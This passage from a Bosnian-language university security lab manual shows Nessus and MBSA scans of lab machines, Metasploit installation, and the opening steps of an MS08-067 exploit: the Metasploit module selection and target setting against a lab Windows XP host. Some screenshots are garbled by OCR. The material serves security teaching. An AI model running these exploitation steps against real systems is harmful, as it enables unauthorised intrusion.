Host Vulnerabilities « Scan Details
12 6810105  §
Status: Completed
192.168.10.104 40 Policy: Basic Network Scan
Scanner: Local Scanner
1oz 10810134 I Fager y seae
Start: November 8 at 8:48 AM
192.168.10.130 “ End: November & at 9:09 AM
Elapsed: 21 minutes

192.168.10.1 “ Targets: 192.168.10.1,192.168.10.104,1

168.10.105,192.168.10.130,192

8.10.134,192.168.10.143
192.168.10.143 1 6

Vulnerabilities

@ Critical
' @ High

Medium

@ Inio

4

Slika 7.14: Nessus - rezultat skeniranja
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ovom rac¢unaru instaliran je kompletan sistem, OS i aplikacije, koji ima poznate
sigurnosne propuste. Ovaj sistem, koji se naziva Metsaploiatble2, pripremila je
firma Rapid7 koja je autor softvera za provjeru moguénosti iskoriStavanja sigur-
nosnih propusta, Metasploit, koji ée biti koristen u slijede¢em poglavlju. Sistem
sluzi upravo za obuku u pronalazenju i iskoristavanju sigurnosnih propusta. Ispis
rezultata skeniranja za ovaj sistem dat je na slici 7.15.

e

€ D& //vb1604:883 nerabilities ¢ || Q search * B ¥+ # =

Scans

TS_OSnOVni Configure Audit Trail Launch = Export ~

Hosts > 192.168.10.105 > Vulnerabilities

Severity « Plugin Name Count Host Details
Apache Tomcat Manager Common Administrative Credentials 1 IP: 192.168.10.105
MAGC: 08:00:27:aa:8% ae
Debian OpenSSH/OpenSSL Package Random Number Generator ... 1 0s: Linux Kemel 2.6 on Ubuntu 8.04
(hardy)
Debian OpenSSH/OpenSSL Package Random Number Generator ... 1 Stort. Ry D i o
End: November 8 at 8:57 AM
Rogue Shell Backdoor Detection 1 Elpsei g mumies
KB: Download

UnreallRCd Backdoor Detection 1

Unsupported Unix Operating System 1

Vulnerabilities

E @ Critical

VNC Server ‘password' Password 1 . @ High
% Medium

® Low

@ Info

CRITICAL vsftpd Smiley Face Backdoor 1

HIGH Multiple Vendor DNS Query ID Field Prediction Cache Poisoning 1

riogin Service Detection 1

Unsupported Web Server Detection 1

Slika 7.15: Nessus - rezultat skeniranja Metasploitable2

Klikom na neki sigurnosni propust dobiju se detalji o njemu. Ovi detalji
ukljucuju opis, nacin otklanjanja propusta, linkove na dodatne informacije, re-
zultate iskoristavanja propusta te port i IP adresu putem kojih se moze pristu-
piti mreznoj usluzi u kojoj postoji propust. Pored ovoga dobiju se informacije o
dodatku koji je Nessus koristio da otkrije propust, procjeni rizika vezanog za pro-
pust, informacije o propustu i moguénosti iskoristavanja uz alate koji to mogu, te
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bitna informacija o nazivu propusta po CVE (Common Vulnerabilities and Expo-
sures) nomenklaturi. Ispis za jedan od pronadenih propusta, koji ée biti koristen
u slijedeéem poglavlju prikazan je na slici 7.16.

¢ | |Q search wBe ¥ &

TS_student =~

TS_osnovni Configure  Audit Trail Launch ¥ E

Hosts > 192.168.10.105 > Vulnerabilities

UnreallRCd [EERER

Plugin Details

Severity: Critical
Description )

1D: 46882
The remote IRC server is a version of UnreallRCd with a backdoor that allows an attacker to execute Version: $Revision: 1.10
arbitrary code on the affected host. ,

Type: remote

Family: Backdoors
Solution Published: 2010/06/14

Modified: 2016/05/09

Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

Risk Information

See Also
http://seclists.org/fulldisclosure/2010/Jun/277 Risk Factor: Critical
http://seclists.org/fulldisclosure/2010/Jun/284 CVSS Base Score: 10.0
hitp://www.unrealircd.com/txt/unrealsecadvisory.20100612.xt CVSS Vector: CVSS28AV:N/AG:L/A
:C/AC
Output CV8S Temporal Vector:
CVSS2#E:ND/RL:OF/RC:C
The remote IRC server is running as : CVSS Temporal Score: 8.7
uid=0(root) gid=0(root)
Vulnerability Information
Port = Hosts
8867 / tcp irc 192.168.10.105 = CPE: cpevaunrealircd:unrealircd

Evnlnit Availahla: tria

Slika 7.16: Nessus - UnreallRCd Backdoor Detection

Iz opisa se vidi da je ovo propust koji omogucava izvrsavanje koda po zelji
napadaca na ranjivom racunaru zaobilaze¢i normalan proces provjere identiteta
i ovlastenja (backdoor). Vidi se da je propust iz 2010. godine, da za njega postoji
moguénost iskoristavanja (exploit) i da je njegov CVE-2010-2075.

Ovdje ¢e jos biti ukazano na sigurnosni propust na ra¢unaru na adresi
192.168.10.130. To je racunar sa OS Windows XP SP3 koji nije azuriran i ima
sigurnosne propust koji se mogu iskoristiti. Ovaj rac¢unar konfigurisan je za po-
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trebe nastave i pisanja ovog prirucnika. Na njemu je Nessus otkrio pet kritiénih
sigurnosnih propusta od kojih ée jedan biti iskoristen u slijede¢em poglavlju. Taj
propust je MS08-067 i vezan je za mreznu uslugu dijeljenja datoteka (SMB) koje
je cesto na Windows OS imala sigurnosne propuste. Sli¢no kao i propust na Met-
saploitable2 i ovaj propust omogucava izvrsavanje koda po zelji napadaca. Podaci
o propustu koje Nessus daje prikazani su na slici 7.17.

nerabilities, | & ||Q Search wBa 3 @

Scans Policies TS_student =
I'S_osnovni Configure | Audit Trail Launch = i
fosts > 192.168.10.130 > Vulnerabilities [E3
WEBERIET: Microsoft Windows Server Service Crafted R... Plugin Details
e Severity: Critical
Description B
1D: 34477
The remote Windows host is affected by a remote code execution vulnerability in the 'Server service due Version: $Revision: 1.45 §
to improper handling of RPC requests. An unauthenticated, remote attacker can exploit this, via a Type: ol
specially crafted RPC request, to execute arbitrary code with 'System’ privileges. ;
Family: Windows
Published: 2008/10/23
Solution Modified: 2016/05/19

Microsoft has released a set of patches for Windows 2000, XP, 2003, Vista and 2008.

Risk Information

See Also Risk Factor: Critical
http://technet. microsoft.com/en-us/security/bulletin/ms08-067 CVSS Base Score: 10.0
CV3S Vector: CVSSZ#AVIN/ACILY
N:G/AC
Output
CVsSS Temporal Vector:
e — CVSS2#E:POC/RL:OF/RC:C
CVsSS Temporal Score: 7.8
Port v Hosts IAVM Severity: 1
445/ tep / cifs 192.168.10.130 @

Slika 7.17: Nessus - MS08-067

Posljednji ¢vor na kom su otkriveni kriti¢ni sigurnosni propusti je onaj sa IP
adresom 192.168.10.143. To je racunar sa Windows 7 OS koji nije azuriran te iz
tog razloga ima sigurnosne propuste. Microsoft naziv tog propusta je MS11-030 i
odnosni se na propust u Windows DNS klijentu. Vise detalja o propustu moze se
dobiti klikom na njegov opis. I ovaj propust ¢e se pokusati iskoristiti u slijede¢em
poglavlju.
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Nessus omogucava kreiranje izvjeStaja o skeniranju i njegovo zapisivanje u
vise formata. U koristenoj verziji ti formati su: Nessus, HTML, CSV i Nessus
DB. Do funkcionalnosti kreiranja i ¢uvanja izvjestaja dolazi se putem dugmeta
”Export” pri vrhu ekrana. Nakon klika na to dugme pojavljuje se lista dostupnih
formata kao na slici 7.18.

G | Q Search e ¥+ @

Scans Policies

TS_OsnOan Configure Audit Trail Launch = Export =
Nessus
Scans > Hosls Vulnerabilities Remediations History —
csv
Host Vulnerabilities a
Nessus DB
102 16810108 a
Status: Comp
192.168.10.104 40 Policy: Basic
Scanner: Local
192.168.10.134 5] s | Folder: My Sc
Start: Noven
192.168.10.130 End: Nover
Elapsed: 21 mir
192.168.10.1 Targets: 192.1¢
168.1(
8.10.1
192.168.10.143 El

Slika 7.18: Nessus - Izvjestaji

Ovakvi izvjeStaji se koriste prilikom analize sigurnosti mreznih usluga i
moguénosti njihovog iskoristavanja (penetration test), da bi se klijentu za kog
se radilo testiranje prikazali rezultati. Ovi izvjestaji daju pregledan ispis svih si-
gurnosnih propusta pronadenih na skeniranim ¢vorovima.

Ovdje su koristene samo neke od moguénosti Nessus radi prezentiranja pos-
tupka analize sigurnosnih propusta u mreznim uslugama. Za detaljnije opise svih
opcija i na¢ine upotrebe najbolje je pogledati Nessus dokumentaciju [49].

Nessus nije jedini softver koji se moze koristiti za ove namjene. Nessus je
najkoristeniji i najbolje plasiran na listi sigurnosnih alata [16] kojoj autor vje-
ruje. Ovdje ¢e biti spomenuta jos tri slicna alata sa te liste. Prvi je OpenVAS
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koji je nastao iz Nessus-a kad je Nessus postao komercijalni alat. OpenVAS je
u potpunosti otvoren i besplatan. Drugi je Core Impact, komercijalni Windows
alat, izvrstan ali prilicno skup (preko 30.000 USD) alat. Treéi je Nexpose, alat
koji proizvodi pomenuta firma Rapid7, autor Mesatploit-a koji ¢e biti koristen
u slijedeéem poglavlju. Alat je odlican, i slitno kao i Nessus ima i besplatnu,
ogranicenu verziju. Po iskustvu autora izrazito je zahtjevan za resurse racunara.
Tesko je reéi koji od ovih alata je bolji, jer je svaki u ne¢em dobar. Savjet je da se,
kad god je mogude, koristi vise alata za skeniranje iste mreze jer se tako dobivaju
kompletniji rezultati.

7.2 Analiza rac¢unara sa Windows OS

7.2.1 MBSA

Microsoft ve¢ duze vremena ima alat koji omogucava analizu racunara sa Win-
dows OS koja otkriva nedostajuca sigurnosna azuriranja i uobicajene greske u si-
gurnosnim podesenjima. Naziv tog alata je Microsoft Baseline Security Analyzer
(MBSA). To nije skener poput Nessus, ali omoguéava administratoru Windows
ra¢unara da brzo ustanovi da li na tim rac¢unarima postoje o¢igledni sigurnosni
propusti. Kako se moglo zakljuciti iz prethodnog skeniranja, jedan od osnov-
nih uzroka postojanja sigurnosnih propusta je neredovno azuriranje operativnog
sistema i aplikacija. Potrebno je znati da MBSA provjerava samo Microsoft apli-
kacije.

MBSA je mogucée preuzeti sa Microsoft web lokacije. U vrijeme pisanja aktu-
elna verzija bila je 2.3 i bila je dostupna na adresi:

http://www.microsoft.com/en-us/download/details.aspx?id=7558

Prilikom preuzimanja potrebno je izabrati odgovarajuéu verziju (x64 ili x86)
i jezik. Izabrana je 64-bitna verzija na engleskom jeziku
(MBSASetup-x64-EN.msi). Instalaciona datoteka nije velika (1,7 MB) i brzo se
preuzme. Po preuzimanju potrebno je pokrenuti. Prilikom instalacije javlja se
upozorenje da se ugase svi drugi programi. Kako je uobicajeno kod veéine insta-
laciona softvera potrebno je prihvatiti uslove koristenja. Ako na OS postoji starija
verzija MBSA javlja se upozorenje i prijedlog da se prepiSe. Standardno se nudi
moguénost izbora lokacije na koju ¢ée MBSA biti instaliran. Instalacija je brza i i
kratka.
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Po instalaciji MBSA moguce ga je pokrenuti. Pocetni ekran MBSA prikazan
je na slici 7.19.

| % Microsoft Baseline Security Analyzer 2.3 - O X

Microsoft

¥ Baseline Security Analyzer

o8

Tasks Check computers for common security

Scan a computer misconfigurations.
Scan multiple computers
View security reports The Microsoft Baseline Security Analyzer can check computers running
: - : Microsoft Windows Server 2012 R2, Windows 8.1, Windows Server 2012,
About Microsoft Baseline
Security Analyzer Windows 8, Windows Server 2008 R2, Windows 7, Windows® Server 2003,

Windows Server 2008, Windows Vista, or Windows XP. Scanning computers
for security updates utilizes Windows Server Update Services. You must have
administrator privileges for each computer you want to scan.

5&' Scan a computer
Check a computer using its name or IP Address.

h’. Scan multiple computers
Check multiple computers using a domain name or a range of IP
addresses.

View existing security scan reports
View, print and copy the results from the previous scans.

© 2002-2013 Microsoft Corporation, All rights reserved.

Slika 7.19: MBSA - Pocetni ekran

MBSA omogucéava skeniranje jednog ili vise racunara. Za skeniranje ra¢unara
potrebno je imati administratorske privilegije za taj racunar. Radi pokazivanja
funkcionalnosti izabrano je skeniranje jednog ra¢unara i to onog na kom je MBSA
instaliran. Ovdje je to konkretno bio neazurirani XP SP3 racunar na kom su
pronadeni sigurnosni propusti. Ostale opcije, vezane za naziv izvjeStaja i Sta
¢e se skenirati nisu mjenjane u odnosu na inicijalno postavljene. Skeniranje je
pokrenuto klikom na dugme ”Start Scan”. Izgled ekrana na kom se unose ovi
podaci prikazan je na slici 7.20.

Po pokretanju MBSA prvo azurira informacije o sigurnosnim azuriranjima i
postavkama. Nakon toga skenira racunar. Po zavrSetku skeniranja prikazuje se
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&7 Microsoft Baseline Security Analyzer 2.3

Microsoft

J ¥ Baseline Security Analyzer

Which computer do you want to scan?

Enter the name of the computer or its IP address.

Computer name: [SALE_WIRTUELMAWIIRTUAL-M | (this computer)
IF address: | | | | | | | v |
Security report name: |ol,;0Dol,;° - % (FeT%) |

D% = domain, %C% = computer, ¥%T% = date and time,
% IP% = IP address
Cptions:

Check for Windows administrative vulnerabilities
Check For weak passwords
Check for IS administrative vulnerabilities
Check For SOL administrative vulnerabilities
Check fFor security updates
O Configure computers For Microsoft Update and scanning prerequisites
[J advanced Update Services oprions:
Scan using assigned Windows Server Update ServicesiWalls) servers only
Scan using Microsoft Update only

Scan using offline catalog only

Learn more about Scanning COptions

[ Start Scan ] [ Cancel

Slika 7.20: MBSA - Postavke skeniranja

ekran sa rezultatima skeniranja kao na slici 7.21.

Na ekranu su prikazane osnovne informacije o skeniranom racunaru i skeni-
ranju. Rezultati su podijeljeni u tri cjeline:

e Sigurnosna azuriranja
e Windows
e Desktop aplikacije

Za svaku od cjelina navedeni su rezultati koji su dobiveni. Rezultati imaju
oznaku koja ukazuje na njihovu vaznost. Uz svaki rezultat navedeno je i sta je
skenirano te kako se moze otkloniti otkriveni nedostatak.



7.2 Analiza racunara sa Windows OS 171

&7 Microsoft Baseline Security Analyzer 2.3

F"_\. Microsoft

€ ¥ Baseline Security Analyzer

Report Details for SALE_VIRTUELNA - VIIRTUAL-XP-SP3 (2016-11-15 09:24:57)

' Security assessment:
2 Incomplete Scan (Could not complete one or more requested checks.)

Computer name: SALE_YIRTUELNAWIIRTUAL-XP-5P3

IP address: 192.168.10.130

Security report name: SALE_WIRTUELMA - VIIRTUAL-XP-SP3 (11-15-2016 9-24 AM)
Scan date: 111502016 9:24 AM

Scanned with MBSA version: 2.3.2211.0

Catalog synchronization date:

Sork Order: | Score {warst first) s

Security Update Scan Results —

Score  Issue Result
! Security Computer has an alder wersion of the client and security database demands a newer version. Current
Updates wersion is ired versian is |

wWindows Scan Results

Administrative ¥ulnerabilities

Score  Issue Result

" Aukomatic The Automatic Updates Feature is disabled on this computer,
Updates withat was scanned How to correct this

o Administrators More than 2 Administratars were found on this computer,

i ‘hat was scanned  Result details  How ko correct this

0 Incomplete Mo incomplete software update installations were Found.
Updates what was scanned

0 ‘Windows ‘windows Firewall is disabled and has exceptions configured,
Firewal ‘what was scanned  Result details  How to correct this

@ Local Account Mo user accounts have simple passwords,

Password Test  what was scanned  Result details

|

- '
@ Brint this report Copy to cipboard E] Previous security report Mext security report

Slika 7.21: MBSA - Rezultati

U konkretnom sluc¢aju vidi se, izmedu ostalog, da MBSA ukazuje da je verzija
Windows nepodrzana, da su isklju¢ena automatska azuriranja, te da je firewall
onemogucen. Ispravljanjem ovih nedostataka bi se zapravo otklonili sigurnosni
propusti koje je pronasao Nessus.

MBSA je jednostavan alat koji moze biti od koristi administratorima Win-
dows rac¢unara kao prvi korak u provjeri sigurnosnih postavki. Naravno da za
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sigurnosnu provjeru treba kombinovati sve ovdje predstavljene alate, ili alterna-
tivne sa sliécnim funkcionalnostima.



8

VJEZBA: Provjera moguénosti iskoristavanja
sigurnosnih propusta

Cilj ove vjezbe je upoznavanje studenata sa metodama i alatima za provjeru
mogucénosti iskoristavanja sigurnosnih propusta.

U sklopu vjezbe potrebno je pokusati iskoristiti sigurnosne propuste otkri-
vene pregledom otvorenih portova i analizom dostupnih mreznih usluga u sklopu
prethodne vjezbe.

8.1 Metasploit - instalacija i konfiguracija
Instalirati i konfigurisati alat Metasploit.

Rjesenje: Metasploit je alat za testiranje moguénosti iskoristavanja sigurnos-
nih propusta. Po autorovom misljenju, kao i po mnogim listama na Internetu [16]
ovo je najbolji alat za ovu namjenu.

Ovaj alat, kao i velika veéina obradenih do sada, ima i Windows i Linux ver-
zije. Prema iskustvima autora, Metasploit radi brze i bolje na Linux OS. Iz tog
razloga u nastavku ¢e biti obradena instalacija i upotreba Metasploit na Linux-
u. Instalacija na Windows OS se razlikuje od one na Linux kao i kod ostalih
Windows/Linux instalacija. Upute za instalaciju na Windows [43] i Linux [42]
nalaze se na Rapid7 web lokaciji. Upotreba Metasploit je vrlo slicna i uglavnom
nezavisna od OS. Sve komande su iste. Ponekad se jedino neki parametri zadaju
razli¢ito na razli¢itim OS.
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Datoteku za instalaciju Metasploit moguée je preuzeti sa lokacije:
https://www.rapid7.com/products/metasploit/download. jsp

Metasploit se nudi u dvije verzije Pro i Community. Pro verzija se placa,
dok je Community verzija besplatna. Prednosti Pro verzije su u ve¢em stepenu
automatizacije i veéem broju moguénosti dostupnih kroz graficko okruzenje. Za
obrazovne svrhe i potrebe razumijevanja koncepata i nacina provjere moguénosti
iskoristavanja sigurnosnih propusta Community verzija je sasvim dovoljna. Ova
verzija ¢e biti koriStena u nastavku. Prije preuzimanja Metasploit potrebno je
popuniti formu za registraciju. Prilikom izbora OS (Windows ili Linux, 32 ili
64 bita) dobije se i informacija da je tokom instalacije i upotrebe Metasploit po-
trebno privremeno ugasiti antivirusni softver instaliran na ra¢unaru kao i firewall.
Razlog za ovo je §to antivirusni softver prepoznaje Metasploit kao zlonamjerni
softver, posto Metasploit koristi iste tehnike (datoteke) kao i neki zlonamjerni
softveri. U konkretnoj instalaciji na Linux 16.04 LTS OS u virtualnoj masini nije
bilo neophodno uraditi ove izmjene jer na njoj nema antivirusnog softvera niti
firewall. U slu¢aju prisustva ovih alata na ra¢unaru, sto je (i trebao bi biti) slucaj
na veéini racunara sa Windows OS, uglavnom je dovoljno reéi antivirusnom sof-
tveru da ne skenira kompletan folder u kom je instaliran Metasploit (najcesée
C:\\Metasploit). Nakon instalacije Metasploit je potrebno aktivirati. Aktivacija
se obavlja unoSenjem licencnog kljuc¢a koji se dobije na adresu e-poste navedenu
tokom registracije.

Nakon izbora OS, Linux 64-bit u ovom slu¢aju, moguce je preuzeti instalaci-
onu datoteku na racunar. Za instalaciju Metasploit na bilo koji OS, preporuceno
je minimalno 2GB RAM, ali je naravno bolje imati i vise od toga.

Instalaciona datoteka je preuzeta upotrebom web preglednika i pohranjena u
korisnickom folderu " Downloads”. Komande koje ¢e biti navedene ispod izvrsavane
su nakon pozicioniranja u taj folder. Ako se instalaciona datoteka nalazi na dru-
goj lokaciji potrebno je pozicionirati se u taj folder. Prije pocetka instalacije, na
Linux, potrebno je preuzetu datoteku proglasiti izvrsnom putem komande:
chmod +x metasploit-latest-linux-x64-installer.run

Instalaciju treba pokrenuti kao privilegovani korisnik komandom:
sudo ./metasploit-latest-linux-x64-installer.run

Instalacija se odvija kroz graficko okruzenje. U prvom prozoru koji se pojavi
potrebno je kliknuti na dugme ”Forward” za nastavak instalacije. U narednom
prozoru potrebno je prihvatiti licencne uslove izborom ”I accept agreement” i
klikom na dugme ”Forward”. Zatim je potrebno prihvatiti predlozenu lokaciju za
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instalaciju Metasploit (/opt/metasploit) ili je promijeniti. U ovom slucaju pri-
hvacena je klikom na dugme ”Forward”. U sljede¢em prozoru instalacija predlaze
da se Metasploit registruje kao servis koji se automatski pokrece prilikom pokre-
tanja operativnog sistema.Moguéi razlog protiv ovoga su resursi koje Metasploit
koristi. Ako se na ra¢unaru na koji se Metasploit instalira on neée stalno koristiti
ve¢ samo povremeno bolje je ne registrovati ga kao servis ve¢ ga pokretati po
potrebi. Ovdje je izabrana ponudena opcija ”Yes” i potvrdena klikom na dugme
”"Forward”. Naredni prozor upozorava na potrebu da se onemogucée anti-virusni
alati i firewall kako je ranije re¢eno. U ovom slucaju nije bilo potrebe jer isti nisu
pokrenuti na sistemu na kom se Metasploit instalira. Potrebno je jo§ potvrditi,
ili izmijeniti, port koji ¢e koristiti (na kom ¢e prihvacati zahtjeve) Metasploit.
Prihvaéen je ponudeni port 3790. Posto Metasploit koristi TLS za pristup web
interfejsu potrebno je generisati SSL certifikat Sto je ponudeno na slijede¢em pro-
zoru. Moguce je, i pozeljno u produkcijskom okruzenju, u polje ”Server Name”
upisati puno domensko ime rac¢unara (ako ga ima). Ovdje je prihva¢eno ponudeno
ime "localhost” i trajanje certifikata od 10 godina (3650 dana). Pored ovoga u
prozoru je ponudeno da se certifikat odmah doda u spremiste certifikata kojima
OS vjeruje. Ovim se omogucava da certifikat bude odmah prepoznat na ovom
racunaru i da ne prijavljuje da certifikat nije potpisan od strane certifikacijske
ustanove kojoj web preglednik vjeruje (o ovome je bilo rijeci u poglavlju 2). Na-
kon ovoga sva pitanja za korisnika su odgovorena i instalacije se pokrece klikom
na dugme ”Forward” u prozoru ”"Ready to Install”.

Nakon nekoliko minuta, zavisno od brzine rac¢unara na kom se instalira, insta-
lacija je zavrSena i pokrece se Metasploit. I ovo pokretanje traje nekoliko minuta.
Nakon toga pojavljuje se prozor u kom je obavijest o zavrsetku instalacije. U ovom
prozoru oznaceno je da se po njegovom zatvaranju pristupa web interfejsu za Me-
tasploit. Klik na dugme ”Finish” zatvara ovaj prozor i otvara web preglednik u
kom prikazuje stranicu kojom otpocinje konfiguracija instaliranog Metasploit-a.
Tu je upozorenje da ¢e se web preglednik mozda zaliti na neodgovarajuéi SSL cer-
tifikat, napravljen tokom instalacije. Takode postoji upozorenje da inicijalizacija
i pokretanje Metasploit servisa moze potrajati 10-ak minuta ako je tek instaliran.
Na dnu stranice je link za pristup Metasploit web interfejsu:
https:/localhost:3790/

Kako je prethodna stranica upozorila, web preglednik, ovdje Firefox, upozo-
rava da je konekcija nesigurna. Ovo je izazvano, za web preglednik, nepoznatim
SSL certifikatom. Potrebno je web pregledniku reéi da trajno prihvati ovaj cer-
tifikat kao ispravan. To se kod, koristene verzije 49.0, Firefox postize klikom na
dugme ” Advanced”. Nakon toga pojavljuje se mogucénost za prihvacanje certifi-
kata putem klika na dugme ” Add Exception...”. Otvara se novi prozor u kom se
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mogu vidjeti detalji certifikata i zasto ga web preglednik ne prihvata (nije potpi-
san od certifikacijske ustanove kojoj web preglednik vjeruje). U tom prozoru je
potrebno provjeriti da je oznacena opcija ”Permanently store this exception” i
kliknuti na dugme ” Confirm Security Exception”. Nakon toga se otvara prozor u
kom se unose zZeljeni podaci o budu¢em korisniku Metasploit-a.

Izabrano je korisnicko ime ”"TS_student” i adekvatna (prema poglavlju 3)

lozinka. Uneseni su i drugi, neobavezni podaci, o imenu korisnika, organizaciji i
vremenskoj zoni kako je prikazano je na slici 8.1.

Metasploit - Setup and Configuration - Mozilla Firefox

[ Metasploit-Setupa...

€ ) W& | hetps://localhost:3790/users/new G | |Q search B ¥ # =

@ metasploit’

Home New User Setup 4

* denotesrequired fie

Login Info

Usemame! (15 gtydent

Password® [ euneue |1 @

Password confirmation*

Optional Info & Settings

Full name

Student tehnologija Sigurnosti

Email address

Organization ETF Sarajevo

Time zone (GMT+01:00) Sarajevo o

@ Create Account

Slika 8.1: Konfiguracija Metasploit korisnika

U prozoru koji se pojavi nakon klika na dugme ” Create Account” potrebno je
unijeti klju¢ koji je trebao sti¢i na adresu e-poste koja je unesena u registracijsku
formu prilikom preuzimanja instalacijske datoteke za Metasploit. U koliko iz ne-
kog razloga, recimo instalacijska datoteka je dobivena od nastavnika na vjezbama,
klju¢ nije dostupna moguée ga je zatraziti klikom na dugme "GET PRODUCT
KEY”. U ovom slucaju klju¢ koji je dobiven je unesen u polje za unos kljuca i
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izvrena je aktivacija klikom na dugme ”ACTIVATE LICENCE”. Nakon ovoga
prikazuje se pocetna stranica za koristenje Metasploit u kojoj se prave projekti i
Metasploit je spreman za upotrebu.

U nastavku ¢e Metasploit biti koristen kroz njegovu konzolu, tekstualno
okruzenje. Graficko okruzenje je pogodno za automatizaciju, ali konzolno pruza
bolji uvid u kompletnu proceduru provjere moguénosti iskoristavanja sigurnosnih
propusta.

Konzolno okruzenje pokrece se kao privilegovani korisnik komandom:
sudo msfconsole

Obié¢no je potrebno jedno vrijeme dok se ne okruzenje ne pokrene. To moze
biti nekoliko sekundi do nekoliko minuta, u zavisnosti od konfiguracije rac¢unara
na kom se pokrec¢e. Nakon pokretanja dobije se prozor kao na slici 8.2.

1965465065006 50.3030.26.45 96569650 363696 5656 50 30 56 36 96 56 56 50 36.36.96.36.96 569650 36.96.96 5696 96 5656 36.36.96 96 565656 30 36.36 96 96 56 36 30 36 96.36 96 96 56 36 36 96 96 96 96 96
%% %%
%% %% Se%NeIaKI6% 969656 50 56.36.96 96 36 56 5650 36.36.96 56 5656 5656 36.36.96 56 56 506 56 36 36 96 56 56 56 36 36 36.36 76 5650 36 36.36 5636 96 96 50 36 96 76 56 9656 36 56 96
%% % SNIK%6% KHXXXXXKXEE http: //metasploit.com HHKHHIHIHINNKHKNKKBIINKKIKK%
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ESSS S S S S S S %6%365%% %% %% % %% k¥ %K%K %6%% %65%6% %
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=[ metasploit v4.12.28-dev 1
+ -- --=[ 1584 exploits - 982 auxiliary - 272 post 1
+ -- --=[ 455 payloads - 39 encoders - 8 nops 1
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
nsf > [l

Slika 8.2: Metasploit konzola (tekstualno okruzenje za interakciju)

”Crtez” na pocetku je svaki put drugaciji i njegovo ispisivanje moze se
sprijeciti ako se konzola pokrene sa parametrom ”-q”.
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U konzoli se ispisuje, pored verzije Metasploit, broj kodova za iskoriStavanje
sigurnosnih propusta (ezploit), ovdje 1584, i broj kodova za obavljanje zlonamjer-
nih akcija (payload), ovdje 455. Kodovi za iskoristavanje sigurnosnih propusta su
unaprijed pripremljeni skupovi komandi jezika u kom je napisan kod koji, na os-
novu karakteristika poznatog sigurnosnog propusta, softver koji se napada dovode
u situaciju koja omoguéava iskoristavanje tog sigurnosnog propusta'. Ovaj kod se
bira na osnovu otkrivenog sigurnosnog propusta koji se zeli iskoristiti. Metasploit
ima veliki broj ovih kodova se koji se sa svakim azuriranjem i novom verzijom
uvecava. Da bi se kroz Metasploit iskoristio otkriveni sigurnosni propust neop-
hodno je da u Metasploit-u postoji kod za njegovo iskoristavanje. Cak i ako ne
postoji, Metasploit omogucéava koristenje kodova koje su razvili drugi ili pisanje
vlastitog koda koji se moze uklopiti u Metasploit okruzenje. Ovo izlazi iz okvira
ovog materijala i neée biti ovdje obradeno.

Kada se, na osnovu pronadenog sigurnosnog propusta. izabere kod za njegovo
iskorigtavanje potrebno je izabrati kod za obavljanje zlonamjernih akcija?. Ovaj
kod radi ono §to napadac zeli. Metasploit ima veliki broj i ovih kodova koji se sa
svakim azuriranjem i novom verzijom uvecava. Da bi se kroz Metasploit iskoristio
izvrsio odredeni zlonamjerni kod neophodno je da postoji u Metasploit-u. Cak i
ako ne postoji, Metasploit omogucava koristenje kodova koje su razvili drugi ili
pisanje vlastitog koda koji se moze uklopiti u Metasploit okruzenje. Ovo izlazi iz
okvira ovog materijala i nece biti ovdje obradeno.

Obi¢no za jedan kod za iskoristavanje sigurnosnih propusta (exploit) postoji
vige kodova za obavljanje zlonamjernih akcija (payload). Prilikom konfiguracije
napada bira se onaj od njih koji napadac¢ zeli. U nastavku ¢e biti pokazano ne-
koliko konkretnih primjera jednih i drugih kodova te njihovih kombinacija.

8.2 Metasploit - iskoristavanje sigurnosnih propusta i
obavljanje zlonamjernih akcija

Analizirati ponudene kodove za iskoristavanje propusta (exploit). Odabrati barem
jedan koji je iskoristiv za sigurnosne propuste i softvere analizirane u prethod-
noj vjezbi. Koristeéi neke od ponudenih kodova koji obavljaju zloéudne akcije

! Kao &to je u poglavlju 5 uradeno kada je programu proslijeden niz bajta odgovarajuée
duzine koji je prepisao povratnu adresu sa stack-a.

2 Kao §to je u poglavlju 5 napisan shellcode koji je napadacu omoguéio da dobije
pristup tekstualnom interfejsu OS za izdavanje komandi (shell)
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(payload) pokusati iskoristiti otkrivene sigurnosne propuste.

8.2.1 Iskoristavanje sigurnosnog propusta na Windows OS

Na osnovu otkrivenog sigurnosnog propusta MS08-0673 (u prethodnoj vjezbi) na
racunaru sa Windows XP OS izvrsena je pretraga na Metasploit za kodom za
njegovo iskoristavanje. Pretraga se vrsi unoSenjem komande search te pojma
koji se pretrazuje. Ovdje je to Microsoft identifikacija sigurnosnog propusta u
formu u kojoj je Metasploit zapisuje "ms08_067”. UnoSenje pretrage i rezultat
prikazani su na slici 8.3.

msf > search ms@8_067

Matching Modules

Name Disclosure Date Rank Description

exploit/windows/smb/ms@8_067_netapi 2008-10-28 great MS©8-067 Microso
ft Server Service Relative Path Stack Corruption

nsf > 11

Slika 8.3: Metasploit pretraga za kodom za iskoristavanje sigurnosnog propusta

Nakon sto je utvrdeno da postoji kod za iskoristavanje zeljenog sigurnosnog
propusta potrebno je Metasploit-u re¢i da koristi taj kod. To se radi unoSenjem
komande use i naziva koda. Ovdje:
use exploit/windows/smb/ms08_067 netapi

Nakon toga prompt u Metasploit konzoli se mijenja i pokazuje da je izabran
odredeni kod:
msf exploit(ms08_.067_netapi) >

Kodovi za iskoriStavanje sigurnosnih propusta imaju opcije koje je moguce
pregledati i po potrebi promijeniti. Opcije se ispisuju upotrebom komande show
options nakon izbora koda. Dostupne opcije za izbrani kod prikazane su na slici
8.4.

3 Ovo je priliéno star sigurnosni propust ali se dosta koristi za svrhu demonstracije jer
kod za njegovo iskoristavanje pouzdano radi.
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msf exploit(' G I ) > show options

Module options (exploit/windows/smb/ms@8_067 netapi):

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes The SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name

8 Automatic Targeting
msf exploit( EN |

Slika 8.4: Metasploit opcije za kod za iskori§tavanje sigurnosnog propusta

Posto se ovdje radi o aktivnom iskori§tavanju sigurnosnog propusta na drugom
racunaru potrebno je ka tom rac¢unaru uputiti kod, niz bajta, koji ¢e iskoristiti
propust. Za to je neophodno Metasploit-u dati IP adresu tog racunara. Opcija
RHOST sluzi za definisanje ove adrese. Kako se moze vidjeti ta opcija inicijalno
nema vrijednost, a obavezna je. Opciji se dodjeljuje vrijednost upotrebom ko-
mande set, naziva opcije i zeljene vrijednosti. Posto je IP adresa raCunara sa
Windows XP OS na kom je pronaden ovaj sigurnosni propust 192.168.10.130 ko-
manda glasi:
set RHOST 192.168.10.130

